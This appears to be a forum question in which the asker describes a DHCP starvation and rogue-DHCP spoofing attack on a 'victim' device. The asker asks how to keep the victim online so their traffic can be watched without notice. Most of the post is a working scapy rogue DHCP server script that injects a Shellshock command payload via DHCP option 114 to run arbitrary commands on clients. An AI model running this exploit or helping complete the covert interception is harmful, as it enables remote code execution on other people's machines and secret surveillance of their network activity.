continue net connection of victim after DHCP spoofing attack

Question

I'm performing a dhcp spoofing attack. First I run a dhcp starvation attack which depletes the ip pool of my router. Then I execute the dhcp spoofing code which assigns a fake ip to my victim device, when it tries to connect to the wireless router.

My problem is, after my victim device is assigned the fake ip it can no longer access the internet. In a real case scenario, if the victim gets disconnected from the internet, they will know something is wrong, also there's no point to a spoofing attack if I cannot see the victim's activity.

So, how do I connect my victim to the internet with the fake ip? yes i know the DHCP rouge server will act as the real server for the victim, but how exactly is the implementation supposed to be, since in my case the dhcp rouge server is my pc and not a router.

Here is the dhcp spoofing code taken from github.

#! /usr/bin/env python

#Based on the PoC from https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

import binascii
import argparse
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  #Gets rid of IPV6 Error when importing scapy

from scapy.all import *

parser = argparse.ArgumentParser(description='DHCPSock', epilog='Shock dem shells!')
parser.add_argument('-i', '--iface', type=str, required=True, help='Interface to use')
parser.add_argument('-c', '--cmd', type=str, help='Command to execute [default: "echo pwned"]')

args = parser.parse_args()

command = args.cmd or "echo 'pwned'"

if os.geteuid() != 0:
    sys.exit("Run me as r00t")



#BOOTP
#siaddr = DHCP server ip
#yiaddr = ip offered to client
#xid = transaction id 
#chaddr = clients mac address in binary format

def dhcp_offer(raw_mac, xid):
    print "in dhcp_offer"
    packet = (Ether(src=get_if_hwaddr(args.iface), dst='ff:ff:ff:ff:ff:ff') /
    IP(src="192.168.0.105", dst='255.255.255.255') /
    UDP(sport=67, dport=68) /
    BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr='192.168.1.4', siaddr='192.168.0.105', xid=xid) /
    DHCP(options=[("message-type", "offer"),
        ('server_id', '192.168.0.105'),
        ('subnet_mask', '255.255.255.0'),
        ('router', '192.168.0.105'),
        ('lease_time', 172800),
        ('renewal_time', 86400),
        ('rebinding_time', 138240),
        "end"]))

    #print packet.show()
    return packet


def dhcp_ack(raw_mac, xid, command):
    print "in dhcp_ack"
    packet = (Ether(src=get_if_hwaddr(args.iface), dst='ff:ff:ff:ff:ff:ff') /
    IP(src="192.168.0.105", dst='255.255.255.255') /
    UDP(sport=67, dport=68) /
    BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr='192.168.1.4', siaddr='192.168.0.105', xid=xid) /
    DHCP(options=[("message-type", "ack"),
        ('server_id', '192.168.0.105'),
        ('subnet_mask', '255.255.255.0'),
        ('router', '192.168.0.105'),
        ('lease_time', 172800),
        ('renewal_time', 86400),
        ('rebinding_time', 138240),
        (114, "() { ignored;}; " + command),
        "end"]))

    #print packet.show()
    return packet


def dhcp(resp):
    if resp.haslayer(DHCP):
        mac_addr = resp[Ether].src
        raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))

        if resp[DHCP].options[0][1] == 1:
            xid = resp[BOOTP].xid
            print "[*] Got dhcp DISCOVER from: " + mac_addr + " xid: " + hex(xid)
            print "[*] Sending OFFER..."
            packet = dhcp_offer(raw_mac, xid)
            #packet.plot(lambda x:len(x))
            #packet.pdfdump("test.pdf")
            #print hexdump(packet)
            #print packet.show()
            sendp(packet, iface=args.iface)

        if resp[DHCP].options[0][1] == 3:
            xid = resp[BOOTP].xid
            print "[*] Got dhcp REQUEST from: " + mac_addr + " xid: " + hex(xid)
            print "[*] Sending ACK..."
            packet = dhcp_ack(raw_mac, xid, command)
            #print hexdump(packet)
            #print packet.show()
            sendp(packet, iface=args.iface)

print "[*] Waiting for a DISCOVER..."
sniff(filter="udp and (port 67 or 68)", prn=dhcp, iface=args.iface)

#sniff(filter="udp and (port 67 or 68)", prn=dhcp)